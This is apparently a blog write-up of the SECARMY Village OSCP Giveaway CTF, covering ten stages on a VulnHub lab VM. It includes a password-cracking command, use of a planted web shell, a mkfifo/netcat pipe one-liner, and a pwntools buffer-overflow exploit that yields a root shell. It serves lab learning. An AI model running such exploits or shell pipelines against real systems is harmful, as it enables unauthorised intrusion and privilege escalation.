Summary
GrayHat 2020 has ended and a lot of great content was presented in the conference of this year. During these days, many villages did their own contests and with SECARMY was no different.
One of the events organized by SECARMY Village was the OSCP Giveaway CTF, which is subject of this post! This one was composed of 10 challenges covering different topics from enumeration to binary exploitation.
So, this is the write-up I made at the end of the CTF. Clap if you like it!
Setup
In order to get started, we should download a VM from VulnHub designed specifically for this CTF. You can find it at https://is.gd/LfvQPt.
Once you have downloaded it and started it, we can proceed to the challenges!
Challenges
This CTF was composed of 10 challenges which should be completed in order from the first until root. Following is a quick description and solution for each one of them.
#1: Uno
After a initial scanning, we see that the machine is running a web server. This is the page we are presented to:
The message is pretty clear: we have to find a hidden directory. For that, we can use a tool like dirsearch
.
dirsearch -u http://192.168.0.166 -E -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
This command will quickly return a resource at http://192.168.0.166/anon. There, we can find our first credential written in white.
After logging in the machine via SSH, we can grab our first flag and get the credential for the second user.
#2: Dos
Use the credential to login as user dos
.
The first part of the second challenge consists of finding content inside a directory with many files. Here is a summary of the commands that can be used:
The result is a base64 encoded string. This string can be decoded as a zip file using the following online tool: https://base64.guru/converter/decode/file.
The flag is inside this file, as well a file called todo.txt
containing a token.
#3: Tres
While logged as user dos
we can also see a file called 1337.txt
with the following message:
Our netcat application is too 1337 to handle..
In fact, there is a service running on port 1337, which we can also see in the output from the initial scanning.
The credential for user tres
is obtained by connecting to this service and providing the token found on the previous step.
Once connected as user tres
we can grab our third flag and also get instructions for the next challenge.
#4: Cuatro
The instructions cited previously make it clear that the next challenge is about binary analysis. This, however, does not involve complex reverse engineering.
Running strings
on the binary, we can see that it was compressed with UPX.
The following commands are for decompressing the binary and getting strings again:
upx -d secarmy-village
strings secarmy-village
Now we can see a clear message with our fourth credential.
By logging in as cuatro
we can get our fourth flag and the instructions for the next challenge.
#5: Cinco
The instructions point us to http://192.168.0.166/justanothergallery.
This page contains a QR Code image which gives us the credential for user cinco
upon scanned.
If we inspect the source code of this page we can see that the images are located in a directory called /qr
and their names range from image-0.png
to image-68.png
. The following command downloads and decodes each of them:
for i in {0..68}; do curl -s http://192.168.0.166/justanothergallery/qr/image-$i.png | zbarimg -q -
Each QR Code will be decoded to a piece of a long message, but the one that we are interested is image-53.png
, which decodes to cinco:ruy70m35
.
Log in and get the flag! Together with the flag, there is a readme file saying
Check for Cinco’s secret place somewhere outside the house
This is the path to the next challenge.
#6: Seis
To find Cinco’s secret place we can run the following command:
find / -user cinco -type d 2>/dev/null
This will search for every directory owned by cinco
starting from the root path. The directory in question is /cincos-secrets
.
There, we will find a shadow.bak
file that we can’t read at start. But, since this file is owned by cinco
and we have write permissions, we can just change the permissions to allow us to read it.
chmod +r shadow.bak
This file contains the hash of seis
’s password. We can use john
with RockYou wordlist to crack it!
john --wordlist=/usr/share/wordlist/rockyou.txt shadow.bak
With the credential in hands, we can get the flag and proceed to the next challenge.
#7: Siete
In this challenge, we are asked to go to http://192.168.0.166/shellcmsdashboard.
There, we are presented to a login page.
Before attempting to bypass the login mechanism, we should enumerate this site. With very basic enumeration, we can find a credential at http://192.168.0.166/shellcmsdashboard/robots.txt.
After providing the credential (admin:qwerty), we receive a message telling us to head over to /aabbzzee.php
.
This turned out to be a web shell, so we can issue commands in the search input field.
We start by listing files in the current directory:
Again, there is a file with write but not read permission. After changing the mode of the given file we can see its content.
You can get the seventh flag as soon as you log in.
# Ocho
When logged in as siete
, we can see some files related to the next challenge. There is a password protected zip file, a Go file that is supposed to help but it is full of syntax errors, a hint and a pair of message and key files.
For the hint and for the content of the Go file, we assume that the content of message.txt
is an array of bytes.
We can change mighthelp.go
in order to convert this array to its hex representation. Here is the code:
package mainimport "fmt"func main() {
chars := []byte{11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8}
fmt.Printf("Representation: %#v\n", chars)
fmt.Printf("Hex: %x\n", chars)
fmt.Printf("Int: %d\n", chars)
fmt.Printf("Bin: %b\n", chars)
}
Following is the output of this program.
$go run mighthelp.goRepresentation: []byte{0xb, 0x1d, 0x1b, 0x19, 0xa, 0x15, 0x1, 0x0, 0x17, 0xa, 0x11, 0xc, 0xd, 0x8}
Hex: 0b1d1b190a150100170a110c0d08
Int: [11 29 27 25 10 21 1 0 23 10 17 12 13 8]
Bin: [1011 11101 11011 11001 1010 10101 1 0 10111 1010 10001 1100 1101 1000]
From the files, we know that the key is x
. The ASCII code for “x” is 78 in hexadecimal or 120 in decimal notation.
The hint says:
Base 10 and Base 256 result in Base 256!
This can be a little misleading because one can try to perform an AND operation. What we need to do, however, is to perform an XOR operation!
Now, there are different ways to do this. We can use some online tool, which generally expect you to pass the values as hexadecimal, or we can run the following one-liner Python code:
>>> "".join([chr(x ^ 120) for x in bytearray([11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8])])
'secarmyxoritup'
Note that in the code above we are using the message as it was given (base256) and the decimal representation for “x” (120). So, for each byte we perform an XOR and then takes the result and get its Unicode representation (function chr
). Finally, we just join the characters together to form a string.
The result is secarmyxoritup
, which is the password for the zip file. The extracted file contains the password for user ocho
. As usual, log in and grab the flag.
#9: Nueve
For this challenge, we are given a PCAP file called keyboard.pcapng
. Opening this file with Wireshark, we can find some HTTP requests.
We can extract the files transferred over HTTP with the option “File/Extract Objects/HTTP”.
One of the files contains an interesting string, as shown below.
You are wrong if you think the challenge was that easy. This is not the password we wanted!
After some time playing with this string and thinking about the content of the file, I found out that it is a keyboard shift ciphered string. So, in order to get the plain text, we can submit this string to the keyboard shift cipher decoder at https://www.dcode.fr/keyboard-shift-cipher.
The clear text obtained from mjwfr?2b6j3a5fx/
is nueve:355u4z4rc0
. Now we can log in and grab the ninth flag. We are almost there!
#10: Root
We finally got to the final stage! In this last challenge, we are given a SUID binary that we should exploit in order to get a root shell. The program reads the user input and does nothing in case of a failed attempt.
First thing first, we could decompile this program. This is the resulting source code we can get with Ghidra.
undefined8 main(void)
{
char local_28 [24];
long local_10; local_10 = 0;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("hello pwner ");
puts("pwnme if u can ;) ");
gets(local_28);
if (local_10 == 0xcafebabe) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh",(char **)0x0);
}
return 0;
}
So, our goal is pretty simple: we have to override the long variable with the value 0xcafebabe
. By doing this, the program will enter in the conditional block and give us a root shell.
Note: for some reason, I couldn’t get the shell by providing the payload directly through the command line. If you know how to do this or why this doesn’t work, please leave a comment! ;)
Ok, so let’s do that! In order to exploit this binary using the resources wehave in our machine, we should first serve it through the network. For that, we can use Netcat.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|./orangutan 2>&1|nc -lvp 2222 >/tmp/f
Then, from our machine, we run the following exploit written in Python with Pwntools. Note that the value that goes to the long variable should be in little endian order, so we send the desired value in reverse order.
from pwn import *offset = b"A" * 24
secret= b"\xbe\xba\xfe\xca"payload = offset + secretio = remote('192.168.0.166', 2222)
print(io.recvline())
print(io.recvline())io.sendline(payload)
io.interactive()
Time to pwn!
That’s it, guys! This CTF was very fun and covered a variety of concepts seen in other CTFs. I hope you enjoyed! 🎉